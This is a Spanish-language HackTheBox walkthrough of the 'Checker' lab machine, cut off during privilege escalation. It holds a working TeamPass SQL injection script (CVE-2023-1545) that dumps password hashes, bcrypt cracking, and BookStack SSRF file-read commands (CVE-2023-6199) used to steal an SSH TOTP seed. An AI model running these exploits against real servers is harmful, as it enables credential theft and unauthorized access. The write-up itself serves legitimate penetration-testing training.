Habilidades: TeamPass
3.0.0.21 SQL Injection (CVE-2023-1545), Hash Cracking, BookStack
Local File Read via Blind SSRF (CVE-2023-6199), Abusing SSH 2FA - Stealing OTP Secret Seed, Abusing Sudoers Privileges - Custom Script, Binary Analysis with ghidra
, Exploiting Race Condition (Shared Memory) + Command Injection [Privilege Escalation]
Introducción
Checker es una máquina Linux de dificultad Hard
en HackTheBox donde debemos comprometer diversos servicios web a través de la explotación de algunos CVEs. El acceso inicial lo lograremos a través del abuso de TOTP (Time-Based One Time Passwords) para iniciar sesión por SSH con 2FA. Explotaremos Race Condition
y Command Injection
a través de un binario vulnerable para ganar acceso privilegiado y vencer Checker.
Reconocimiento
Enviaremos una traza ICMP para comprobar que la máquina víctima se encuentre activa
ping -c 1 10.10.11.56
PING 10.10.11.56 (10.10.11.56) 56(84) bytes of data.
64 bytes from 10.10.11.56: icmp_seq=1 ttl=63 time=476 ms
--- 10.10.11.56 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 476.015/476.015/476.015/0.000 ms
Nmap Scanning
Comenzaremos escaneando puertos en la máquina víctima. Primeramente sólo nos interesa ver puertos abiertos usando el protocolo TCP, si no encontráramos gran cosa, probaríamos otros protocolos
nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.11.56 -oG openPorts
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-31 09:35 EDT
Nmap scan report for 10.10.11.56
Host is up (0.46s latency).
Not shown: 62462 closed tcp ports (reset), 3070 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 20.39 seconds
--open
: Mostrar únicamente los puertos abiertos-p-
: Hacer un escaneo del total de puertos (65535)--min-rate 5000
: Enviar mínimo 5000 paquetes por segundo-n
: No aplicar resolución DNS, lo que acelera el escaneo-sS
: Modo de escaneo TCP SYN, no concluye la conexión, lo que hace el escaneo más ágil-Pn
: Omitir el descubrimiento de host (ARP)-oG
: Exportar en formatogrepable
-v
: Ver el progreso del escaneo
Haremos un segundo escaneo más exhaustivo a los puertos que hemos descubierto con el fin de identificar la versión y servicio que se ejecuta
nmap -p 22,80,8080 -sVC 10.10.11.56 -oN services Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-31 09:41 EDT
Nmap scan report for 10.10.11.56
Host is up (0.46s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 aa:54:07:41:98:b8:11:b0:78:45:f1:ca:8c:5a:94:2e (ECDSA)
|_ 256 8f:2b:f3:22:1e:74:3b:ee:8b:40:17:6c:6c:b1:93:9c (ED25519)
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: 403 Forbidden
8080/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: 403 Forbidden
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.10 seconds
-p
: Especificar puertos-sV
: Identificar la versión del servicio-sC
: Uso de scripts de reconocimiento-oN
: Exportar la salida en formato normal
Web Analysis - Bookstack
Vemos el puerto 80
abierto, si navegamos hasta la web el servidor nos intenta redirigir a checker.htb
Agregaremos este dominio a nuestro archivo /etc/hosts
para poder resolver este nombre de dominio
echo '10.10.11.56 checker.htb' | sudo tee -a /etc/hosts
10.10.11.56 checker.htb
Si ahora volvemos a intentar navegar, llegaremos a la siguiente web, donde podemos iniciar sesión
Si hacemos un escaneo a las tecnologías web desde consola, necesitaremos contemplar cambiar el User-Agent
en algunas herramientas, ya que parece ser que bloquea algunos valores
Gracias a wappalyzer
y además a nuestro ojo de halcón, podemos notar que la web trabaja con la tecnología BookStack
.
En cuanto a la versión, podemos fácilmente detectarla realizando una solicitud HTTP o viendo el código fuente, veremos dos recursos que contienen la palabra version
y el mismo valor. Por lo que podemos deducir que este valor es la versión de BookStack
curl -s http://checker.htb/login | grep version
<link rel="stylesheet" href="http://checker.htb/dist/styles.css?version=v23.10.2">
<script src="http://checker.htb/dist/app.js?version=v23.10.2" nonce="WoRCxOJl4dT1K8wTZGH4Sl51"></script>
Aparentemente esta versión es vulnerable a CVE-2023-6199. Sin embargo, el requisito principal es estar autenticados, por lo que podemos considerar un intento de explotar esto más adelante. Podemos ver documentación más técnica en el siguiente enlace
https://fluidattacks.com/blog/lfr-via-blind-ssrf-book-stack?utm_source=mailing&utm_medium=activecampaign&utm_campaign=blognov22
Web Analysis - Teampass
Recordemos que no hemos enumerado el puerto 8080
, si navegamos a él, podremos ver la siguiente web donde podemos iniciar sesión
(Failed) Fuzzing
Aquí es cuando se empieza a complicar la enumeración, si intentamos hacer fuzzing
con herramientas como gobuster
, debemos aplicar el cambio de User-Agent
, esto lo podemos lograr con el parámetro --random-agent
. Sin embargo, el servidor al cabo de unos momentos comenzará a retornar códigos de estado HTTP 429
El código de estado HTTP 429 significa “Demasiadas solicitudes” (Too Many Requests). Esto indica que el cliente ha enviado demasiadas solicitudes a un servidor dentro de un período de tiempo específico
gobuster dir -u http://checker.htb:8080/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -t 20 --random-agent
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://checker.htb:8080/
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122406 Gentoo Firefox/3.0.5
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/docs (Status: 301) [Size: 237] [--> http://checker.htb:8080/docs/]
/files (Status: 301) [Size: 238] [--> http://checker.htb:8080/files/]
/30 (Status: 429) [Size: 227]
/legal (Status: 429) [Size: 227]
/banners (Status: 429) [Size: 227]
Logramos descubrir una ruta docs
antes de que el servidor bloqueara nuestras solicitudes, al navegar hasta allí, encontraremos la siguiente web, que consiste en la documentación de Teampass
Si clicamos el botón Github
, podremos ver la estructura del proyecto, encontrando archivos comunes, como docker-compose.yml
o readme.md
, entre otros
Volveremos a la máquina víctima para visitar el archivo changelog.txt
, notaremos que no se especifica la versión, pero el copyright
contempla hasta el año 2022
/*
* Teampass - a collaborative passwords manager.
* ---
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
* ---
* @project Teampass
* @version
* @file changelog.txt
* ---
* @author Nils Laumaillé (nils@teampass.net)
* @copyright 2009-2022 Teampass.net
* @license https://spdx.org/licenses/GPL-3.0-only.html#licenseText GPL-3.0
* ---
* @see https://www.teampass.net
*/
Es posible ver cuál versión fue la última en tener este apartado en el siguiente enlace donde vemos el historial de commits
del archivo
- https://github.com/nilsteampassnet/TeamPass/commits/master/changelog.txt
Esto no es del todo preciso pero notaremos que corresponde a la versión 3.0.0.20
Intrusión / Explotación
TeamPass
3.0.0.21 SQL Injection (CVE-2023-1545)
La versión de TeamPass
que se ejecuta en la máquina víctima es vulnerable a inyección SQL a través de una inyección en el endpoint /authorize
. Esto nos permitiría obtener hashes de contraseñas de los usuarios existentes en la base de datos del servicio
Understanding Injection
La inyección se logra al usar una consulta UNION
para escapar de la query original, que más o menos puede verse de la siguiente manera
SELECT * FROM teampass_users WHERE login = 'username' AND pw = 'password'
La consulta que utilizaremos extrae datos de la tabla teampass_users
, concretamente de la siguiente manera
none' UNION SELECT id, '$hash', ($sqli_payload), private_key, personal_folder, fonction_id, groupes_visibles, groupes_interdits, 'foo' FROM teampass_users WHERE login='admin
Cerramos la consulta con none '
, para después hacer uso de UNION SELECT
y así enviar una consulta con una estructura determinada. Es en la variable sql_payload
dentro de los paréntesis ()
donde usaremos nuestra query que extraiga datos de los usuarios.
# Nombres de usuarios
SELECT login FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT $i,1
# Contraseñas hasheadas
SELECT pw FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT $i,1
Necesitamos enviar un hash que no necesariamente debe representar un valor válido, pero si debe ser el formato requerido por TeamPass
para ser procesado (bcrypt
)
$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq
Para entenderlo mejor, veremos cómo se envían los datos en una solicitud HTTP maliciosa
POST /api/index.php/authorize HTTP/1.1
Host: checker.htb:8080
User-Agent: curl/8.10.1
Accept: */*
Content-Type: application/json
Content-Length: 340
Connection: keep-alive
{"login":"none' UNION SELECT id, '$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq', (SELECT login FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT 0,1), private_key, personal_folder, fonction_id, groupes_visibles, groupes_interdits, 'foo' FROM teampass_users WHERE login='admin","password":"h4ck3d", "apikey": "foo"}
Estamos enviando un JSON con los atributos que mencionamos, donde podemos notar que dentro de los paréntesis ()
estamos consultando datos de los usuarios de la tabla teampass_users
. El servidor responde con un JSON Web Token (JWT), como el siguiente
HTTP/1.1 200 OK
Date: Sat, 31 May 2025 17:54:33 GMT
Server: Apache
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST
Access-Control-Max-Age: 3600
Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With
Cache-Control: no-store, no-cache, must-revalidate
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Content-Length: 592
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im5vbmUnIFVOSU9OIFNFTEVDVCBpZCwgJyQyeSQxMCR1NVMyN3dZSkNWYmFQVFJpSFJzeDcuaUlteFwvV3hSQThcL3RLdldkYVdRXC9pRHVLbElrTWJocScsIChTRUxFQ1QgcHcgRlJPTSB0ZWFtcGFzc191c2VycyBXSEVSRSBwdyAhPSAnJyBPUkRFUiBCWSBsb2dpbiBBU0MgTElNSVQgMCwxKSwgcHJpdmF0ZV9rZXksIHBlcnNvbmFsX2ZvbGRlciwgZm9uY3Rpb25faWQsIGdyb3VwZXNfdmlzaWJsZXMsIGdyb3VwZXNfaW50ZXJkaXRzLCAnZm9vJyBGUk9NIHRlYW1wYXNzX3VzZXJzIFdIRVJFIGxvZ2luPSdhZG1pbiIsImlkIjoxLCJleHAiOjE3NDg3MTkzNjEsInB1YmxpY19rZXkiOiIkMnkkMTAkbEtDYWUwRUlVTmo2Zjk2Wm5McW5DLkxiV3FyQlFDVDFMdUhFRmh0NlBtRTR5SDc1cnBXeWEiLCJwcml2YXRlX2tleSI6IiIsInBmX2VuYWJsZWQiOjAsImZvbGRlcnNfbGlzdCI6IiJ9.z7kSY8guoGHX6VTSYRwauAR1L3AR67bn7F5qyUciTJ4"}
Recordemos que la estructura de un JWT se compone de 3
partes fundamentales
header.payload.singature
Los datos que volcamos se verán reflejados en el payload
del JWT, decodificaremos el valor payload
de la respuesta del servidor en base64
, entonces veremos lo siguiente
echo eyJ1c2VybmFtZSI6Im5vbmUnIFVOSU9OIFNFTEVDVCBpZCwgJyQyeSQxMCR1NVMyN3dZSkNWYmFQVFJpSFJzeDcuaUlteFwvV3hSQThcL3RLdldkYVdRXC9pRHVLbElrTWJocScsIChTRUxFQ1QgcHcgRlJPTSB0ZWFtcGFzc191c2VycyBXSEVSRSBwdyAhPSAnJyBPUkRFUiBCWSBsb2dpbiBBU0MgTElNSVQgMCwxKSwgcHJpdmF0ZV9rZXksIHBlcnNvbmFsX2ZvbGRlciwgZm9uY3Rpb25faWQsIGdyb3VwZXNfdmlzaWJsZXMsIGdyb3VwZXNfaW50ZXJkaXRzLCAnZm9vJyBGUk9NIHRlYW1wYXNzX3VzZXJzIFdIRVJFIGxvZ2luPSdhZG1pbiIsImlkIjoxLCJleHAiOjE3NDg3MTkzNjEsInB1YmxpY19rZXkiOiIkMnkkMTAkbEtDYWUwRUlVTmo2Zjk2Wm5McW5DLkxiV3FyQlFDVDFMdUhFRmh0NlBtRTR5SDc1cnBXeWEiLCJwcml2YXRlX2tleSI6IiIsInBmX2VuYWJsZWQiOjAsImZvbGRlcnNfbGlzdCI6IiJ9 | base64 -d | jq
{
"username": "none' UNION SELECT id, '$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq', (SELECT pw FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT 0,1), private_key, personal_folder, fonction_id, groupes_visibles, groupes_interdits, 'foo' FROM teampass_users WHERE login='admin",
"id": 1,
"exp": 1748719361,
"public_key": "$2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWya",
"private_key": "",
"pf_enabled": 0,
"folders_list": ""
}
Proof of Concept - Bash Script
Podemos encontrar detalles de esta vulnerabilidad además de un script en bash
que hace lo que mencionamos anteriormente
- https://huntr.com/bounties/942c015f-7486-49b1-94ae-b1538d812bc2
if [ "$#" -lt 1 ]; then
echo "Usage: $0 <base-url>"
exit 1
fi
vulnerable_url="$1/api/index.php/authorize"
check=$(curl -s "$vulnerable_url")
if echo "$check" | grep -q "API usage is not allowed"; then
echo "API feature is not enabled :-("
exit 1
fi
# htpasswd -bnBC 10 "" h4ck3d | tr -d ':\n'
arbitrary_hash='$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq'
exec_sql() {
inject="none' UNION SELECT id, '$arbitrary_hash', ($1), private_key, personal_folder, fonction_id, groupes_visibles, groupes_interdits, 'foo' FROM tea>
data="{\"login\":\""$inject\"",\"password\":\"h4ck3d\", \"apikey\": \"foo\"}"
token=$(curl -s -H "Content-Type: application/json" -X POST -d "$data" "$vulnerable_url" | jq -r '.token')
echo $(echo $token| cut -d"." -f2 | base64 -d 2>/dev/null | jq -r '.public_key')
}
users=$(exec_sql "SELECT COUNT(*) FROM teampass_users WHERE pw != ''")
echo "There are $users users in the system:"
for i in `seq 0 $(($users-1))`; do
username=$(exec_sql "SELECT login FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT $i,1")
password=$(exec_sql "SELECT pw FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT $i,1")
echo "$username: $password"
done
Exploiting
Ejecutaremos el script con bash
enviando la URL de TeamPass
, en este caso ha encontrado dos usuarios, admin
y bob
bash exploit.sh http://checker.htb:8080
There are 2 users in the system:
admin: $2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWya
bob: $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
Hash Cracking
Guardaremos el hash de bob
en un archivo hashes.txt
(porque es el crackeable), e intentaremos ver si las contraseñas son débiles con un ataque de fuerza bruta
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt --format=bcrypt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cheerleader (?)
1g 0:00:00:05 DONE (2025-05-31 15:34) 0.1686g/s 139.6p/s 139.6c/s 139.6C/s caitlin..yamaha
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
TeamPass
- Login as bob
Hemos encontrado la contraseña cheerleader
para el usuario bob
, lógicamente podremos iniciar sesión en el panel de TeamPass
Dentro del dashboard
veremos una carpeta bob-access
, donde vemos dos ítems: bookstack login
y ssh-access
Podemos copiar la contraseña al hacer clic para ver la contraseña e inmediatamente después haciendo clic en copiar
bob:hiccup-publicly-genesis
(Failed) Shell as reader
- SSH Multi-Factor Authentication
Si intentamos ingresar por ssh
, parece ser que se usa MFA (Multi-Factor Authentication
), necesitamos un código de verificación, el cual no tenemos
ssh reader@checker.htb
(reader@checker.htb) Password:
(reader@checker.htb) Verification code:
(reader@checker.htb) Password:
Probaremos la otra contraseña bookstack login
, la podemos copiar igualmente que la anterior
bob:mYSeCr3T_w1kI_P4sSw0rD
Como el nombre nos indica, podremos iniciar sesión en BookStack
como el usuario bob
, sólo que ahora debemos ingresar con su email
BookStack
Local File Read via Blind SSRF (CVE-2023-6199)
Recordemos que esta versión de BookStack
podría ser vulnerable a Server Side Request Forgery, donde a través de la manipulación de solicitudes HTTP podemos hacer que el servidor realice solicitudes según definamos, podemos ver una prueba de concepto en el siguiente enlace:
- https://fluidattacks.com/advisories/imagination
Para poder replicar la prueba de concepto, crearemos un nuevo libro haciendo clic en Books
> Create New Book
, llegaremos a la siguiente web
En mi caso he creado un libro con el título pwned
, el nombre no importa, el contenido tampoco
Al intentar crear una nueva página del libro se abre el editor, estaremos interceptando las solicitudes HTTP al momento de guardar cambios haciendo clic en Save Draft
Recuerda que debes tener el proxy HTTP a la escucha y el navegador configurado para pasar el tráfico HTTP por el proxy, en mi caso usaré
Burpsuite
Server Side Request Forgery - Proof of Concept
Los datos que enviamos al interceptar lucen de la siguiente manera, estamos enviando un párrafo en formato de etiquetas HTML (<p>
)
{"name":"Test","html":"<p>test</p>"}
Ahora si intentamos usar una etiqueta img
, de forma que intente encontrar el recurso en nuestra máquina, veremos que el servidor nos envía una solicitud HTTP. Primero debemos enviar la etiqueta con la siguiente sintaxis
<img src='data:image/png;base64,[BASE64_HERE]'/>
Hacemos referencia a un recurso de nuestra máquina usando un servidor HTTP
echo -n 'http://10.10.14.62/test' | base64
aHR0cDovLzEwLjEwLjE0LjYyL3Rlc3Q=
# Levantamos un Servidor HTTP
python3 -m http.server 80
La solicitud modificada ahora debería verse de la siguiente manera, donde solamente cambiamos el valor del campo html
para insertar la supuesta imagen
En nuestro servidor HTTP veremos que la máquina víctima ha realizado una solicitud al recurso test
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.56 - - [31/May/2025 18:22:09] code 404, message File not found
10.10.11.56 - - [31/May/2025 18:22:09] "GET /test HTTP/1.1" 404 -
PHP Filters Chain Oracle - Exploiting
Por el momento no podemos hacer que el servidor ejecute comandos directamente. Sin embargo, podemos intentar leer archivos
- https://github.com/synacktiv/php_filter_chains_oracle_exploit
git clone https://github.com/synacktiv/php_filter_chains_oracle_exploit
cd php_filter_chains_oracle_exploit
vim ./filters_chain_oracle/core/requestor.py
Modificaremos el exploit para que la cadena de wrappers
se envíe en base64
tal y como lo probamos anteriormente. Agregaremos el import
en las primeras líneas además de agregar la línea 109
definiendo la etiqueta <img>
.
Si consultamos las líneas que nos interesan usando el cat
con esteroides batcat
, deberían verse de la siguiente forma
batcat -r 1 -r 108:109 filters_chain_oracle/core/requestor.py -p
from base64 import b64encode
filter_chain = f'php://filter/{s}{self.in_chain}/resource={self.file_to_leak}'
filter_chain = f"<img src='data:image/png;base64,{b64encode(filter_chain.encode()).decode()}' />"
Ejecutaremos el exploit, en mi caso usaré Burpsuite para entender lo que estamos enviando
Puedes omitir el parámetro
--proxy http://localhost:8080
python3 filters_chain_oracle_exploit.py --target http://checker.htb/ajax/page/8/save-draft --verb PUT --headers '{"X-CSRF-TOKEN":"W9Ee3nFIcCVTXjcphZOekIf8jIAGoY8p5b657idG", "Cookie": "teampass_session=csbar4fdb0enha24p4a7be8pi2; jstree_select=1; XSRF-TOKEN=eyJpdiI6ImF5MlZjZWFjNHYza3I0ZnZpSnBBa1E9PSIsInZhbHVlIjoiUGc1ZTl5b2U2djlkTnA5bXVZM1oxaHdNM2lRUE1UTXZTY1FpM2t0dTR1TlVYV3dYdkNMT3YvVVg1dFFWZEdueXBPRytkMmpUZ1Y1dDAwakpaMjltbWhnN2UrU0VZdG9HMDM2NDZJaFU1eXo5c0gzTkl3Zkp1RjNkUzg2dFFDSDEiLCJtYWMiOiIxNzBmOTJiNDdjMDhkZDRlN2VkMzUzYjUzNzY1NDljYzZhNjBkOWU5OWUwM2ZhMzc4YjZjNzI5NmYyMDY5ZGRiIiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6IklBVlY3M3M5djhreFpXclBQVzN6UlE9PSIsInZhbHVlIjoiQWJyak5ab3MvaHFiVUpjSk95ajJpTUhtZHFtZFFlMVFyTTIrVTBXSkd5ZVN1SWs0cE8xblVSRlAwa21OaldzNGxJemVlbUFiMk9JTHdEM0VXVXlJNCtLMkNjMDRHVHBZN3lWQ3d6SzZMeldMaFhZNXVSZ01WNXFoaHUvSXdzbGsiLCJtYWMiOiI3YTliNWEwOTFmMWQ4NzQ3YTIzM2NjYmFjOGRhNWU4ZGZhYjM1NjRlNGVlNGE4ZTkxMGZiZjJlODExNTJhODY0IiwidGFnIjoiIn0%3D"}' --parameter html --file /etc/hostname
[*] The following URL is targeted : http://checker.htb/ajax/page/8/save-draft
[*] The following local file is leaked : /etc/hostname
[*] Running PUT requests
[*] Additionnal headers used : {"X-CSRF-TOKEN":"W9Ee3nFIcCVTXjcphZOekIf8jIAGoY8p5b657idG", "Cookie": "teampass_session=csbar4fdb0enha24p4a7be8pi2; jstree_select=1; XSRF-TOKEN=eyJpdiI6ImF5MlZjZWFjNHYza3I0ZnZpSnBBa1E9PSIsInZhbHVlIjoiUGc1ZTl5b2U2djlkTnA5bXVZM1oxaHdNM2lRUE1UTXZTY1FpM2t0dTR1TlVYV3dYdkNMT3YvVVg1dFFWZEdueXBPRytkMmpUZ1Y1dDAwakpaMjltbWhnN2UrU0VZdG9HMDM2NDZJaFU1eXo5c0gzTkl3Zkp1RjNkUzg2dFFDSDEiLCJtYWMiOiIxNzBmOTJiNDdjMDhkZDRlN2VkMzUzYjUzNzY1NDljYzZhNjBkOWU5OWUwM2ZhMzc4YjZjNzI5NmYyMDY5ZGRiIiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6IklBVlY3M3M5djhreFpXclBQVzN6UlE9PSIsInZhbHVlIjoiQWJyak5ab3MvaHFiVUpjSk95ajJpTUhtZHFtZFFlMVFyTTIrVTBXSkd5ZVN1SWs0cE8xblVSRlAwa21OaldzNGxJemVlbUFiMk9JTHdEM0VXVXlJNCtLMkNjMDRHVHBZN3lWQ3d6SzZMeldMaFhZNXVSZ01WNXFoaHUvSXdzbGsiLCJtYWMiOiI3YTliNWEwOTFmMWQ4NzQ3YTIzM2NjYmFjOGRhNWU4ZGZhYjM1NjRlNGVlNGE4ZTkxMGZiZjJlODExNTJhODY0IiwidGFnIjoiIn0%3D"}
[+] File /etc/hostname leak is finished!
Y2hlY2tl
b'checke'
Las solicitudes HTTP que enviamos se ven ligeramente diferentes, donde se modifica el contenido para enviarlo en formato x-www-form-urlencoded
El contenido que viaja en base64
dentro de la etiqueta img
corresponde a la cadena de wrappers
PHP
echo -n cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZXx8ZGVjaHVua3xjb252ZXJ0Lmljb252LkwxLlVDUy00fGNvbnZlcnQuaWNvbnYuTDEuVUNTLTR8Y29udmVydC5pY29udi5MMS5VQ1MtNHxjb252ZXJ0Lmljb252LkwxLlVDUy00fGNvbnZlcnQuaWNvbnYuTDEuVUNTLTR8Y29udmVydC5pY29udi5MMS5VQ1MtNHxjb252 | base64 -d; echo
php://filter/convert.base64-encode||dechunk|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|convert.iconv.L1.UCS-4|conv
Finding More Info
Podemos ver más información en el libro de ejemplo Basic backup with cp
, donde se nos muestra un ejemplo de uso, y vemos que se usa una ruta /backup/home_backup
http://checker.htb/books/linux-security/page/basic-backup-with-cp
SSH Two-Factor Authentication
Recordemos el mensaje que veíamos al intentar iniciar sesión por ssh
como el usuario reader
ssh reader@checker.htb
(reader@checker.htb) Password:
(reader@checker.htb) Verification code:
(reader@checker.htb) Password:
Understanding 2FA Flow
Cuando iniciamos sesión a través de SSH con 2FA configurado, necesitamos usar un código verificador además de la contraseña, este código integra una capa extra de seguridad para evitar ataques como password spraying
o reutilización de credenciales, los componentes principales serían los siguientes:
OTP (One Time Password)
: Código de un solo uso, generado con un algoritmo estándar (TOTP
oHOTP
)TOTP (Time-Based One Time Password)
: EstándarRFC 6238
que combina unaSecret Seed
+timestamp
para generar códigos que expiran cada30-60
segundosSecret Seed
: Clave maestra en formatobase32
- Esta semilla reside comúnmente dentro de la ruta
/home/user/.google_authenticator
- Es la base criptográfica utilizada para generar OTPs sincronizados entre el servidor y una app de 2FA (por ejemplo,
Google Authenticator
)
- Esta semilla reside comúnmente dentro de la ruta
En sistemas Linux es común utilizar el servicio Google Authenticator
, que soporta este algoritmo, además de contar con un módulo PAM para este sistema operativo
Stealing OTP Secret Seed
Como ya conocemos los conceptos necesarios para poder autenticarnos, es necesario robar la semilla para generar códigos TOTP por nuestra cuenta y así poder autenticarnos como reader
por ssh
.
Si ejecutamos el exploit para buscar este archivo directamente en el directorio /home/reader
, veremos el siguiente error
[-] File /home/reader/.google_authenticator is either empty, or the exploit did not work :(
Esto nos indica tanto que o estamos usando incorrectamente el exploit o que este archivo no existe, o no tenemos los permisos de lectura. Es por eso que usaremos la ruta /backup/home_backup
que vimos antes para buscar el código dentro
python3 filters_chain_oracle_exploit.py --target http://checker.htb/ajax/page/8/save-draft --verb PUT --headers '{"X-CSRF-TOKEN":"SALXAJwM3bsKsxSLIKrZkHa3VQymB8KmvWlKEKSw", "Cookie": "XSRF-TOKEN=eyJpdiI6IjN2WkoxOU5jOWJoc0l3d3paTzd4RWc9PSIsInZhbHVlIjoiaEpmdVpwRkwxZHVtVHIwOVFZME9nYWJCWnpmbmpiMnhkdVc1R3hIelozcUlmdEFJTkVwZG9XMHA1WkN6ZGp2eHhBUUQ5Wk0vN2V6RHkvRHFFYlFSQUxJZDBzdmVnck50dmpxUDFENU1MZ3gvM3dqVytDK3NXam56T1hzMW82Z1EiLCJtYWMiOiJkNTNkMTk2NmJmZDI5ZTNhNDJhY2ZjOWFmMTUyZTk1ODU2NjIzMGMyNjZlOWMwNjQ0MTVjMTc3ZjI0NzQ2MWI0IiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6IjlJdERncFZtb2R2OGxHV1hQU0Y0UkE9PSIsInZhbHVlIjoiNlJzanY3ZGR5TlJ0MnNMZTJkeS9HRmlqSVYyMTVtZUZGK2JOcUJnOUhOZ1pnaGcxU25wQjViR0pHOGVCMWVpcmdJdmNCVGVCZWtpNUdHWnpULy9wTzdLM1VVZGwyMldabEFVOUVpQjZSWGJpSkRWVnRiLzBNYUZVYWd4djdlQlEiLCJtYWMiOiIyMTA2MTQ2NDM5YTgxYzU2YWJjMjRlYzhkOWExYTZiOTNhZTkwNGM2YmE1N2I1M2E3ZGUwZGMyODZkMDE3MGVkIiwidGFnIjoiIn0%3D; teampass_session=9jhnnd7uh10i4fahn339f3t7bm; 558fa9b1ffa04df378a1f2bb1a4cceed1e7cc9d4adbbfe21e2=10b09b297f024cdede07c5253bc2cc530351d0d6587d1b8add"}' --parameter html --file /backup/home_backup/home/reader/.google_authenticator
[*] The following URL is targeted : http://checker.htb/ajax/page/8/save-draft
[*] The following local file is leaked : /backup/home_backup/home/reader/.google_authenticator
[*] Running PUT requests
[*] Additionnal headers used : ...
[+] File /backup/home_backup/home/reader/.google_authenticator leak is finished!
RFZEQlJBT0RMQ1dGN0kyT05BNEs1TFFMVUUKIiBUT1RQX0FVVEgK
b'DVDBRAODLCWF7I2ONA4K5LQLUE\n" TOTP_AUTH\n'
Hemos obtenido la semilla secreta que usa Google Authenticator
para generar códigos dinámicos: DVDBRAODLCWF7I2ONA4K5LQLUE
.
Usaremos el servicio TOTP.app para generar un código TOTP que podamos usar en la autenticación ssh
como el usuario reader
Shell as reader
Una vez generado, recordemos que el código tiene una validez de 30
segundos, por lo que ya debemos tener la contraseña copiada en algún lado
Code: 210877 # Ejemplo
Password: hiccup-publicly-genesis
Usaremos estas credenciales para autenticarnos por ssh
como el usuario reader
ssh reader@checker.htb
(reader@checker.htb) Password:
(reader@checker.htb) Verification code:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64)
...
Last login: Sun Jun 1 18:21:15 2025 from 10.10.14.62
reader@checker:~$
reader@checker:~$ export TERM=xterm
Si aparece el siguiente error, intenta otra vez con el mismo código
(reader@checker.htb) Verification code:
Error "Operation not permitted" while writing config
En este punto ya podremos ver la flag del usuario no privilegiado
reader@checker:~$ cat user.txt
0a7...
Escalada de Privilegios
System Enumeration
Haremos una enumeración básica y manual del sistema con el propósito de identificar vías potenciales para escalar nuestros privilegios.
Comenzaremos comprobando la ip
de la máquina para ver si estamos en la máquina real y no dentro de un contenedor (10.10.11.56
)
reader@checker:~$ hostname -I
10.10.11.56 dead:beef::250:56ff:fe95:5007
Si vemos los usuarios, podemos notar que solo somos reader
y root
, por lo que ahora debemos encontrar una vía para escalar nuestros privilegios directamente a root
reader@checker:/opt/hash-checker$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
reader:x:1000:1000::/home/reader:/bin/bash
Sudoers Privileges - check-leak.sh
Listando los privilegios sudo
configurados para el usuario reader
, podremos ejecutar
